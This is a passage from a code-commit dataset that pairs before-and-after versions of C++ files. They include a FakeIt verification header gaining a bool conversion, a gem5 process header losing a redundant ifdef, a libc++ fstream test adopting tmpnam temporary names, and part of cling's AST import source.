exit(1);\n#else\n static Boolean dbg_exit_called = 0;\n if (dbg_exit_called == 0) {\n dbg_exit_called = 1;\n bx_dbg_exit(1);\n }\n#endif\n fatal_reentry--;\n}\n\niofunc_t *io = NULL;\nlogfunc_t *genlog = NULL;\n\nvoid bx_center_print (FILE *file, char *line, int maxwidth)\n{\n int imax;\n imax = (maxwidth - strlen(line)) >> 1;\n for (int i=0; i<imax; i++) fputc (' ', file);\n fputs (line, file);\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * VerifyNoOtherInvocationsVerificationProgress.hpp\n * Copyright (c) 2014 Eran Pe'er.\n *\n * This program is made available under the terms of the MIT License.\n * \n * Created on Jul 21, 2014\n *\/\n#ifndef VerifyNoOtherInvocationsVerificationProgress_hpp_\n#define VerifyNoOtherInvocationsVerificationProgress_hpp_\n\n#include \"fakeit\/FakeitContext.hpp\"\n\nnamespace fakeit {\n\nclass VerifyNoOtherInvocationsVerificationProgress {\n\n\tfriend class VerifyNoOtherInvocationsFunctor;\n\n\tstruct VerifyNoOtherInvocationsExpectation {\n\n\t\tfriend class VerifyNoOtherInvocationsVerificationProgress;\n\n\t\t~VerifyNoOtherInvocationsExpectation() THROWS {\n\t\t\tif (std::uncaught_exception()) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tVerifyExpectation();\n\t\t}\n\n\t\tvoid setFileInfo(std::string file, int line, std::string callingMethod) {\n\t\t\t_file = file;\n\t\t\t_line = line;\n\t\t\t_callingMethod = callingMethod;\n\t\t}\n\n\tprivate:\n\n\t\tFakeitContext& _fakeit;\n\t\tstd::set<ActualInvocationsSource*> _mocks;\n\n\t\tstd::string _file;\n\t\tint _line;\n\t\tstd::string _callingMethod;\n\n\t\tVerifyNoOtherInvocationsExpectation(FakeitContext& fakeit, std::set<ActualInvocationsSource*> mocks) :\n\t\t\t\t_fakeit(fakeit),\n\t\t\t\t_mocks(mocks), \n\t\t\t\t_line(0) {\n\t\t}\n\n\t\tVerifyNoOtherInvocationsExpectation(VerifyNoOtherInvocationsExpectation& other) = default;\n\n\t\tvoid VerifyExpectation() {\n\t\t\tstd::unordered_set<Invocation*> actualInvocations;\n InvocationUtils::collectActualInvocations(actualInvocations, _mocks);\n\n\t\t\tstd::unordered_set<Invocation*> nonVerifedIvocations;\n InvocationUtils::selectNonVerifiedInvocations(actualInvocations, nonVerifedIvocations);\n\n\t\t\tif (nonVerifedIvocations.size() > 0) {\n\t\t\t\tstd::vector<Invocation*> sortedNonVerifedIvocations;\n InvocationUtils::sortByInvocationOrder(nonVerifedIvocations, sortedNonVerifedIvocations);\n\n\t\t\t\tstd::vector<Invocation*> sortedActualIvocations;\n InvocationUtils::sortByInvocationOrder(actualInvocations, sortedActualIvocations);\n\n\t\t\t\tNoMoreInvocationsVerificationEvent evt(sortedActualIvocations, sortedNonVerifedIvocations);\n\t\t\t\tevt.setFileInfo(_file, _line, _callingMethod);\n\t\t\t\t_fakeit.handle(evt);\n\t\t\t}\n\t\t}\n\n\t};\n\n\tfakeit::smart_ptr<VerifyNoOtherInvocationsExpectation> _ptr;\n\n\tVerifyNoOtherInvocationsVerificationProgress(VerifyNoOtherInvocationsExpectation * ptr) :\n\t\t\t_ptr(ptr) {\n\t}\n\n\tVerifyNoOtherInvocationsVerificationProgress(FakeitContext& fakeit, std::set<ActualInvocationsSource*>& invocationSources)\n\t\t: VerifyNoOtherInvocationsVerificationProgress(\n\t\t\tnew VerifyNoOtherInvocationsExpectation(fakeit, invocationSources)\n\t\t\t) \n\t{\n\t}\n\npublic:\n\t\n\t~VerifyNoOtherInvocationsVerificationProgress() THROWS {\n\t};\n\n\tVerifyNoOtherInvocationsVerificationProgress setFileInfo(std::string file, int line, std::string callingMethod) {\n\t\t_ptr->setFileInfo(file, line, callingMethod);\n\t\treturn *this;\n\t}\n};\n\n}\n\n#endif\n<commit_msg>Make VerifyNoOtherInvocations conviertible to bool<commit_after>\/*\n * VerifyNoOtherInvocationsVerificationProgress.hpp\n * Copyright (c) 2014 Eran Pe'er.\n *\n * This program is made available under the terms of the MIT License.\n * \n * Created on Jul 21, 2014\n *\/\n#ifndef VerifyNoOtherInvocationsVerificationProgress_hpp_\n#define VerifyNoOtherInvocationsVerificationProgress_hpp_\n\n#include \"fakeit\/FakeitContext.hpp\"\n\nnamespace fakeit {\n\nclass VerifyNoOtherInvocationsVerificationProgress {\n\n\tfriend class VerifyNoOtherInvocationsFunctor;\n\n\tstruct VerifyNoOtherInvocationsExpectation {\n\n\t\tfriend class VerifyNoOtherInvocationsVerificationProgress;\n\n\t\t~VerifyNoOtherInvocationsExpectation() THROWS {\n\t\t\tif (std::uncaught_exception()) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tVerifyExpectation();\n\n\t\t}\n\n\t\tvoid setFileInfo(std::string file, int line, std::string callingMethod) {\n\t\t\t_file = file;\n\t\t\t_line = line;\n\t\t\t_callingMethod = callingMethod;\n\t\t}\n\n\tprivate:\n\n\t\tFakeitContext& _fakeit;\n\t\tstd::set<ActualInvocationsSource*> _mocks;\n\n\t\tstd::string _file;\n\t\tint _line;\n\t\tstd::string _callingMethod;\n\t\tbool _isVerified;\n\t\tVerifyNoOtherInvocationsExpectation(FakeitContext& fakeit, std::set<ActualInvocationsSource*> mocks) :\n\t\t\t\t_fakeit(fakeit),\n\t\t\t\t_mocks(mocks), \n\t\t\t\t_line(0),\n\t\t\t\t_isVerified(false){\n\t\t}\n\n\t\tVerifyNoOtherInvocationsExpectation(VerifyNoOtherInvocationsExpectation& other) = default;\n\n\t\tvoid VerifyExpectation() {\n\t\t\tif (_isVerified)\n\t\t\t\treturn;\n\t\t\t_isVerified = true;\n\n\t\t\tstd::unordered_set<Invocation*> actualInvocations;\n InvocationUtils::collectActualInvocations(actualInvocations, _mocks);\n\n\t\t\tstd::unordered_set<Invocation*> nonVerifedIvocations;\n InvocationUtils::selectNonVerifiedInvocations(actualInvocations, nonVerifedIvocations);\n\n\t\t\tif (nonVerifedIvocations.size() > 0) {\n\t\t\t\tstd::vector<Invocation*> sortedNonVerifedIvocations;\n InvocationUtils::sortByInvocationOrder(nonVerifedIvocations, sortedNonVerifedIvocations);\n\n\t\t\t\tstd::vector<Invocation*> sortedActualIvocations;\n InvocationUtils::sortByInvocationOrder(actualInvocations, sortedActualIvocations);\n\n\t\t\t\tNoMoreInvocationsVerificationEvent evt(sortedActualIvocations, sortedNonVerifedIvocations);\n\t\t\t\tevt.setFileInfo(_file, _line, _callingMethod);\n\t\t\t\t_fakeit.handle(evt);\n\t\t\t}\n\t\t}\n\n\t};\n\n\tfakeit::smart_ptr<VerifyNoOtherInvocationsExpectation> _ptr;\n\n\tVerifyNoOtherInvocationsVerificationProgress(VerifyNoOtherInvocationsExpectation * ptr) :\n\t\t\t_ptr(ptr) {\n\t}\n\n\tVerifyNoOtherInvocationsVerificationProgress(FakeitContext& fakeit, std::set<ActualInvocationsSource*>& invocationSources)\n\t\t: VerifyNoOtherInvocationsVerificationProgress(\n\t\t\tnew VerifyNoOtherInvocationsExpectation(fakeit, invocationSources)\n\t\t\t) \n\t{\n\t}\n\n\tbool toBool() {\n\t\ttry{\n\t\t\t_ptr->VerifyExpectation();\n\t\t\treturn true;\n\t\t}\n\t\tcatch (...){\n\t\t\treturn false;\n\t\t}\n\t}\n\npublic:\n\n\n\t~VerifyNoOtherInvocationsVerificationProgress() THROWS {\n\t};\n\n\tVerifyNoOtherInvocationsVerificationProgress setFileInfo(std::string file, int line, std::string callingMethod) {\n\t\t_ptr->setFileInfo(file, line, callingMethod);\n\t\treturn *this;\n\t}\n\n\toperator bool() {\n\t\treturn toBool();\n\t}\n\n\tbool operator ! () const { return !const_cast<VerifyNoOtherInvocationsVerificationProgress*>(this)->toBool(); }\n\n};\n\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2001-2004 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef __PROCESS_HH__\n#define __PROCESS_HH__\n\n\/\/\n\/\/ The purpose of this code is to fake the loader & syscall mechanism\n\/\/ when there's no OS: thus there's no reason to use it in FULL_SYSTEM\n\/\/ mode when we do have an OS.\n\/\/\n#ifndef FULL_SYSTEM\n\n#include <vector>\n\n#include \"targetarch\/isa_traits.hh\"\n#include \"sim\/sim_object.hh\"\n#include \"sim\/stats.hh\"\n#include \"base\/statistics.hh\"\n#include \"base\/trace.hh\"\n\nclass ExecContext;\nclass FunctionalMemory;\nclass Process : public SimObject\n{\n public:\n\n \/\/ have we initialized an execution context from this process? If\n \/\/ yes, subsequent contexts are assumed to be for dynamically\n \/\/ created threads and are not initialized.\n bool initialContextLoaded;\n\n \/\/ execution contexts associated with this process\n std::vector<ExecContext *> execContexts;\n\n \/\/ number of CPUs (esxec contexts, really) assigned to this process.\n unsigned int numCpus() { return execContexts.size(); }\n\n \/\/ record of blocked context\n struct WaitRec\n {\n Addr waitChan;\n ExecContext *waitingContext;\n\n WaitRec(Addr chan, ExecContext *ctx)\n : waitChan(chan), waitingContext(ctx)\n {\n }\n };\n\n \/\/ list of all blocked contexts\n std::list<WaitRec> waitList;\n\n RegFile *init_regs;\t\t\/\/ initial register contents\n\n Addr text_base;\t\t\/\/ text (code) segment base\n unsigned text_size;\t\t\/\/ text (code) size in bytes\n\n Addr data_base;\t\t\/\/ initialized data segment base\n unsigned data_size;\t\t\/\/ initialized data + bss size in bytes\n\n Addr brk_point;\t\t\/\/ top of the data segment\n\n Addr stack_base;\t\t\/\/ stack segment base (highest address)\n unsigned stack_size;\t\/\/ initial stack size\n Addr stack_min;\t\t\/\/ lowest address accessed on the stack\n\n \/\/ addr to use for next stack region (for multithreaded apps)\n Addr next_thread_stack_base;\n\n \/\/ Base of region for mmaps (when user doesn't specify an address).\n Addr mmap_start;\n Addr mmap_end;\n\n \/\/ Base of region for nxm data\n Addr nxm_start;\n Addr nxm_end;\n\n std::string prog_fname;\t\/\/ file name\n Addr prog_entry;\t\t\/\/ entry point (initial PC)\n\n Stats::Scalar<> num_syscalls;\t\/\/ number of syscalls executed\n\n\n protected:\n \/\/ constructor\n Process(const std::string &nm,\n int stdin_fd, \t\/\/ initial I\/O descriptors\n int stdout_fd,\n int stderr_fd);\n\n \/\/ post initialization startup\n virtual void startup();\n\n protected:\n FunctionalMemory *memory;\n\n private:\n \/\/ file descriptor remapping support\n static const int MAX_FD = 100;\t\/\/ max legal fd value\n int fd_map[MAX_FD+1];\n\n public:\n \/\/ static helper functions to generate file descriptors for constructor\n static int openInputFile(const std::string &filename);\n static int openOutputFile(const std::string &filename);\n\n \/\/ override of virtual SimObject method: register statistics\n virtual void regStats();\n\n \/\/ register an execution context for this process.\n \/\/ returns xc's cpu number (index into execContexts[])\n int registerExecContext(ExecContext *xc);\n\n\n void replaceExecContext(ExecContext *xc, int xcIndex);\n\n \/\/ map simulator fd sim_fd to target fd tgt_fd\n void dup_fd(int sim_fd, int tgt_fd);\n\n \/\/ generate new target fd for sim_fd\n int open_fd(int sim_fd);\n\n \/\/ look up simulator fd for given target fd\n int sim_fd(int tgt_fd);\n\n \/\/ is this a valid instruction fetch address?\n bool validInstAddr(Addr addr)\n {\n return (text_base <= addr &&\n addr < text_base + text_size &&\n !(addr & (sizeof(MachInst)-1)));\n }\n\n \/\/ is this a valid address? (used to filter data fetches)\n \/\/ note that we just assume stack size <= 16MB\n \/\/ this may be alpha-specific\n bool validDataAddr(Addr addr)\n {\n return ((data_base <= addr && addr < brk_point) ||\n#ifdef FULLSYSTEM\n ((stack_base - 16*1024*1024) <= addr && addr < stack_base) ||\n#else\n (next_thread_stack_base <= addr && addr < stack_base) ||\n#endif\n (text_base <= addr && addr < (text_base + text_size)) ||\n (mmap_start <= addr && addr < mmap_end) ||\n (nxm_start <= addr && addr < nxm_end));\n }\n\n virtual void syscall(ExecContext *xc) = 0;\n\n virtual FunctionalMemory *getMemory() { return memory; }\n};\n\n\/\/\n\/\/ \"Live\" process with system calls redirected to host system\n\/\/\nclass ObjectFile;\nclass LiveProcess : public Process\n{\n protected:\n LiveProcess(const std::string &nm, ObjectFile *objFile,\n int stdin_fd, int stdout_fd, int stderr_fd,\n std::vector<std::string> &argv,\n std::vector<std::string> &envp);\n\n public:\n \/\/ this function is used to create the LiveProcess object, since\n \/\/ we can't tell which subclass of LiveProcess to use until we\n \/\/ open and look at the object file.\n static LiveProcess *create(const std::string &nm,\n int stdin_fd, int stdout_fd, int stderr_fd,\n std::vector<std::string> &argv,\n std::vector<std::string> &envp);\n};\n\n\n#endif \/\/ !FULL_SYSTEM\n\n#endif \/\/ __PROCESS_HH__\n<commit_msg>No need for this ifdef, since the entire process.hh is surounded by an ifndef FULL_SYSTEM<commit_after>\/*\n * Copyright (c) 2001-2004 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef __PROCESS_HH__\n#define __PROCESS_HH__\n\n\/\/\n\/\/ The purpose of this code is to fake the loader & syscall mechanism\n\/\/ when there's no OS: thus there's no reason to use it in FULL_SYSTEM\n\/\/ mode when we do have an OS.\n\/\/\n#ifndef FULL_SYSTEM\n\n#include <vector>\n\n#include \"targetarch\/isa_traits.hh\"\n#include \"sim\/sim_object.hh\"\n#include \"sim\/stats.hh\"\n#include \"base\/statistics.hh\"\n#include \"base\/trace.hh\"\n\nclass ExecContext;\nclass FunctionalMemory;\nclass Process : public SimObject\n{\n public:\n\n \/\/ have we initialized an execution context from this process? If\n \/\/ yes, subsequent contexts are assumed to be for dynamically\n \/\/ created threads and are not initialized.\n bool initialContextLoaded;\n\n \/\/ execution contexts associated with this process\n std::vector<ExecContext *> execContexts;\n\n \/\/ number of CPUs (esxec contexts, really) assigned to this process.\n unsigned int numCpus() { return execContexts.size(); }\n\n \/\/ record of blocked context\n struct WaitRec\n {\n Addr waitChan;\n ExecContext *waitingContext;\n\n WaitRec(Addr chan, ExecContext *ctx)\n : waitChan(chan), waitingContext(ctx)\n {\n }\n };\n\n \/\/ list of all blocked contexts\n std::list<WaitRec> waitList;\n\n RegFile *init_regs;\t\t\/\/ initial register contents\n\n Addr text_base;\t\t\/\/ text (code) segment base\n unsigned text_size;\t\t\/\/ text (code) size in bytes\n\n Addr data_base;\t\t\/\/ initialized data segment base\n unsigned data_size;\t\t\/\/ initialized data + bss size in bytes\n\n Addr brk_point;\t\t\/\/ top of the data segment\n\n Addr stack_base;\t\t\/\/ stack segment base (highest address)\n unsigned stack_size;\t\/\/ initial stack size\n Addr stack_min;\t\t\/\/ lowest address accessed on the stack\n\n \/\/ addr to use for next stack region (for multithreaded apps)\n Addr next_thread_stack_base;\n\n \/\/ Base of region for mmaps (when user doesn't specify an address).\n Addr mmap_start;\n Addr mmap_end;\n\n \/\/ Base of region for nxm data\n Addr nxm_start;\n Addr nxm_end;\n\n std::string prog_fname;\t\/\/ file name\n Addr prog_entry;\t\t\/\/ entry point (initial PC)\n\n Stats::Scalar<> num_syscalls;\t\/\/ number of syscalls executed\n\n\n protected:\n \/\/ constructor\n Process(const std::string &nm,\n int stdin_fd, \t\/\/ initial I\/O descriptors\n int stdout_fd,\n int stderr_fd);\n\n \/\/ post initialization startup\n virtual void startup();\n\n protected:\n FunctionalMemory *memory;\n\n private:\n \/\/ file descriptor remapping support\n static const int MAX_FD = 100;\t\/\/ max legal fd value\n int fd_map[MAX_FD+1];\n\n public:\n \/\/ static helper functions to generate file descriptors for constructor\n static int openInputFile(const std::string &filename);\n static int openOutputFile(const std::string &filename);\n\n \/\/ override of virtual SimObject method: register statistics\n virtual void regStats();\n\n \/\/ register an execution context for this process.\n \/\/ returns xc's cpu number (index into execContexts[])\n int registerExecContext(ExecContext *xc);\n\n\n void replaceExecContext(ExecContext *xc, int xcIndex);\n\n \/\/ map simulator fd sim_fd to target fd tgt_fd\n void dup_fd(int sim_fd, int tgt_fd);\n\n \/\/ generate new target fd for sim_fd\n int open_fd(int sim_fd);\n\n \/\/ look up simulator fd for given target fd\n int sim_fd(int tgt_fd);\n\n \/\/ is this a valid instruction fetch address?\n bool validInstAddr(Addr addr)\n {\n return (text_base <= addr &&\n addr < text_base + text_size &&\n !(addr & (sizeof(MachInst)-1)));\n }\n\n \/\/ is this a valid address? (used to filter data fetches)\n \/\/ note that we just assume stack size <= 16MB\n \/\/ this may be alpha-specific\n bool validDataAddr(Addr addr)\n {\n return ((data_base <= addr && addr < brk_point) ||\n (next_thread_stack_base <= addr && addr < stack_base) ||\n (text_base <= addr && addr < (text_base + text_size)) ||\n (mmap_start <= addr && addr < mmap_end) ||\n (nxm_start <= addr && addr < nxm_end));\n }\n\n virtual void syscall(ExecContext *xc) = 0;\n\n virtual FunctionalMemory *getMemory() { return memory; }\n};\n\n\/\/\n\/\/ \"Live\" process with system calls redirected to host system\n\/\/\nclass ObjectFile;\nclass LiveProcess : public Process\n{\n protected:\n LiveProcess(const std::string &nm, ObjectFile *objFile,\n int stdin_fd, int stdout_fd, int stderr_fd,\n std::vector<std::string> &argv,\n std::vector<std::string> &envp);\n\n public:\n \/\/ this function is used to create the LiveProcess object, since\n \/\/ we can't tell which subclass of LiveProcess to use until we\n \/\/ open and look at the object file.\n static LiveProcess *create(const std::string &nm,\n int stdin_fd, int stdout_fd, int stderr_fd,\n std::vector<std::string> &argv,\n std::vector<std::string> &envp);\n};\n\n\n#endif \/\/ !FULL_SYSTEM\n\n#endif \/\/ __PROCESS_HH__\n<|endoftext|>"} {"text":"<commit_before>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ <fstream>\n\n\/\/ template <class charT, class traits = char_traits<charT> >\n\/\/ class basic_fstream\n\n\/\/ explicit basic_fstream(const string& s, ios_base::openmode mode = ios_base::in|ios_base::out);\n\n#include <fstream>\n#include <cassert>\n\nint main()\n{\n {\n std::fstream fs(std::string(\"test.dat\"),\n std::ios_base::in | std::ios_base::out\n | std::ios_base::trunc);\n double x = 0;\n fs << 3.25;\n fs.seekg(0);\n fs >> x;\n assert(x == 3.25);\n }\n std::remove(\"test.dat\");\n {\n std::wfstream fs(std::string(\"test.dat\"),\n std::ios_base::in | std::ios_base::out\n | std::ios_base::trunc);\n double x = 0;\n fs << 3.25;\n fs.seekg(0);\n fs >> x;\n assert(x == 3.25);\n }\n std::remove(\"test.dat\");\n}\n<commit_msg>Do a litmus test of using tmpnam to generate safe temporary file names for the tests that open new data files.<commit_after>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ <fstream>\n\n\/\/ template <class charT, class traits = char_traits<charT> >\n\/\/ class basic_fstream\n\n\/\/ explicit basic_fstream(const string& s, ios_base::openmode mode = ios_base::in|ios_base::out);\n\n#include <fstream>\n#include <cassert>\n\nint main()\n{\n char temp [L_tmpnam];\n tmpnam(temp);\n {\n std::fstream fs(std::string(temp),\n std::ios_base::in | std::ios_base::out\n | std::ios_base::trunc);\n double x = 0;\n fs << 3.25;\n fs.seekg(0);\n fs >> x;\n assert(x == 3.25);\n }\n std::remove(temp);\n {\n std::wfstream fs(std::string(temp),\n std::ios_base::in | std::ios_base::out\n | std::ios_base::trunc);\n double x = 0;\n fs << 3.25;\n fs.seekg(0);\n fs >> x;\n assert(x == 3.25);\n }\n std::remove(temp);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ author: Elisavet Sakellari <elisavet.sakellari@cern.ch>\n\/\/\n\/\/ This file is dual-licensed: you can choose to license it under the University\n\/\/ of Illinois Open Source License or the GNU Lesser General Public License. See\n\/\/ LICENSE.TXT for details.\n\/\/------------------------------------------------------------------------------\n\n#include \"ExternalInterpreterSource.h\"\n#include \"cling\/Interpreter\/Interpreter.h\"\n#include \"cling\/Utils\/Diagnostics.h\"\n\n#include \"clang\/AST\/ASTContext.h\"\n#include \"clang\/AST\/ASTDiagnostic.h\"\n#include \"clang\/AST\/ASTImporter.h\"\n#include \"clang\/Frontend\/CompilerInstance.h\"\n#include \"clang\/Lex\/Preprocessor.h\"\n#include \"clang\/Sema\/Sema.h\"\n\nusing namespace clang;\n\nnamespace {\n class ClingASTImporter : public ASTImporter {\n private:\n cling::ExternalInterpreterSource &m_Source;\n\n public:\n ClingASTImporter(ASTContext &ToContext, FileManager &ToFileManager,\n ASTContext &FromContext, FileManager &FromFileManager,\n bool MinimalImport,\n cling::ExternalInterpreterSource& source):\n ASTImporter(ToContext, ToFileManager, FromContext, FromFileManager,\n MinimalImport), m_Source(source) {}\n virtual ~ClingASTImporter() = default;\n\n void Imported(Decl *From, Decl *To) override {\n ASTImporter::Imported(From, To);\n\n if (clang::TagDecl* toTagDecl = dyn_cast<TagDecl>(To)) {\n toTagDecl->setHasExternalLexicalStorage();\n toTagDecl->setMustBuildLookupTable();\n toTagDecl->setHasExternalVisibleStorage();\n }\n if (NamespaceDecl *toNamespaceDecl = dyn_cast<NamespaceDecl>(To)) {\n toNamespaceDecl->setHasExternalVisibleStorage();\n }\n if (ObjCContainerDecl *toContainerDecl = dyn_cast<ObjCContainerDecl>(To)) {\n toContainerDecl->setHasExternalLexicalStorage();\n toContainerDecl->setHasExternalVisibleStorage();\n }\n \/\/ Put the name of the Decl imported with the\n \/\/ DeclarationName coming from the parent, in my map.\n if (NamedDecl *toNamedDecl = llvm::dyn_cast<NamedDecl>(To)) {\n NamedDecl *fromNamedDecl = llvm::dyn_cast<NamedDecl>(From);\n m_Source.addToImportedDecls(toNamedDecl->getDeclName(),\n fromNamedDecl->getDeclName());\n }\n if (DeclContext *toDeclContext = llvm::dyn_cast<DeclContext>(To)) {\n DeclContext *fromDeclContext = llvm::dyn_cast<DeclContext>(From);\n m_Source.addToImportedDeclContexts(toDeclContext, fromDeclContext);\n }\n }\n };\n}\n\nnamespace cling {\n\n ExternalInterpreterSource::ExternalInterpreterSource(\n const cling::Interpreter *parent, cling::Interpreter *child) :\n m_ParentInterpreter(parent), m_ChildInterpreter(child) {\n\n clang::DeclContext *parentTUDeclContext =\n m_ParentInterpreter->getCI()->getASTContext().getTranslationUnitDecl();\n\n clang::DeclContext *childTUDeclContext =\n m_ChildInterpreter->getCI()->getASTContext().getTranslationUnitDecl();\n\n \/\/ Also keep in the map of Decl Contexts the Translation Unit Decl Context\n m_ImportedDeclContexts[childTUDeclContext] = parentTUDeclContext;\n\n FileManager &childFM = m_ChildInterpreter->getCI()->getFileManager();\n FileManager &parentFM = m_ParentInterpreter->getCI()->getFileManager();\n\n ASTContext &fromASTContext = m_ParentInterpreter->getCI()->getASTContext();\n ASTContext &toASTContext = m_ChildInterpreter->getCI()->getASTContext();\n ClingASTImporter* importer\n = new ClingASTImporter(toASTContext, childFM, fromASTContext, parentFM,\n \/*MinimalImport : ON*\/ true, *this);\n m_Importer.reset(llvm::dyn_cast<ASTImporter>(importer));\n }\n\n ExternalInterpreterSource::~ExternalInterpreterSource() {}\n\n void ExternalInterpreterSource::ImportDecl(Decl *declToImport,\n DeclarationName &childDeclName,\n DeclarationName &parentDeclName,\n const DeclContext *childCurrentDeclContext) {\n\n \/\/ Don't do the import if we have a Function Template or using decls. They\n \/\/ are not supported by clang.\n \/\/ FIXME: These are temporary checks and should be de-activated once clang\n \/\/ supports their import.\n if ((declToImport->isFunctionOrFunctionTemplate()\n && declToImport->isTemplateDecl()) || dyn_cast<UsingDecl>(declToImport)\n || dyn_cast<UsingShadowDecl>(declToImport)) {\n#ifndef NDEBUG\n utils::DiagnosticsStore DS(\n m_Importer->getFromContext().getDiagnostics(), false, false, true);\n\n llvm::Expected<const Decl *> To = m_Importer->Import(declToImport);\n assert(To.get() && \"Import did not work!\");\n assert(!DS.empty() &&\n DS[0].getID() == clang::diag::err_unsupported_ast_node &&\n \"Import may be supported\");\n#endif\n return;\n }\n\n if (auto toOrErr = m_Importer->Import(declToImport)) {\n if (NamedDecl *importedNamedDecl = llvm::dyn_cast<NamedDecl>(*toOrErr)) {\n SetExternalVisibleDeclsForName(childCurrentDeclContext,\n importedNamedDecl->getDeclName(),\n importedNamedDecl);\n }\n \/\/ Put the name of the Decl imported with the\n \/\/ DeclarationName coming from the parent, in my map.\n m_ImportedDecls[childDeclName] = parentDeclName;\n } else {\n logAllUnhandledErrors(toOrErr.takeError(), llvm::errs(),\n \"Error importing decl\");\n }\n }\n\n void ExternalInterpreterSource::ImportDeclContext(\n DeclContext *declContextToImport,\n DeclarationName &childDeclName,\n DeclarationName &parentDeclName,\n const DeclContext *childCurrentDeclContext) {\n\n if (auto toOrErr = m_Importer->ImportContext(declContextToImport)) {\n\n DeclContext *importedDC = *toOrErr;\n importedDC->setHasExternalVisibleStorage(true);\n if (NamedDecl *importedND = llvm::dyn_cast<NamedDecl>(importedDC)) {\n SetExternalVisibleDeclsForName(childCurrentDeclContext,\n importedND->getDeclName(),\n importedND);\n }\n\n \/\/ Put the name of the DeclContext imported with the\n \/\/ DeclarationName coming from the parent, in my map.\n m_ImportedDecls[childDeclName] = parentDeclName;\n\n \/\/ And also put the declaration context I found from the parent Interpreter\n \/\/ in the map of the child Interpreter to have it for the future.\n m_ImportedDeclContexts[importedDC] = declContextToImport;\n } else {\n logAllUnhandledErrors(toOrErr.takeError(), llvm::errs(),\n \"Error importing decl context\");\n }\n }\n\n bool ExternalInterpreterSource::Import(DeclContext::lookup_result lookup_result,\n const DeclContext *childCurrentDeclContext,\n DeclarationName &childDeclName,\n DeclarationName &parentDeclName) {\n\n\n\n for (DeclContext::lookup_iterator I = lookup_result.begin(),\n E = lookup_result.end(); I != E; ++I) {\n \/\/ Check if this Name we are looking for is\n \/\/ a DeclContext (for example a Namespace, function etc.).\n if (DeclContext *declContextToImport = llvm::dyn_cast<DeclContext>(*I)) {\n\n ImportDeclContext(declContextToImport, childDeclName,\n parentDeclName, childCurrentDeclContext);\n\n }\n ImportDecl(*I, childDeclName, parentDeclName, childCurrentDeclContext);\n }\n return true;\n }\n\n \/\/\/\\brief This is the one of the most important function of the class\n \/\/\/ since from here initiates the lookup and import part of the missing\n \/\/\/ Decl(s) (Contexts).\n \/\/\/\n bool ExternalInterpreterSource::FindExternalVisibleDeclsByName(\n const DeclContext *childCurrentDeclContext, DeclarationName childDeclName) {\n\n assert(childDeclName && \"Child Decl name is empty\");\n\n 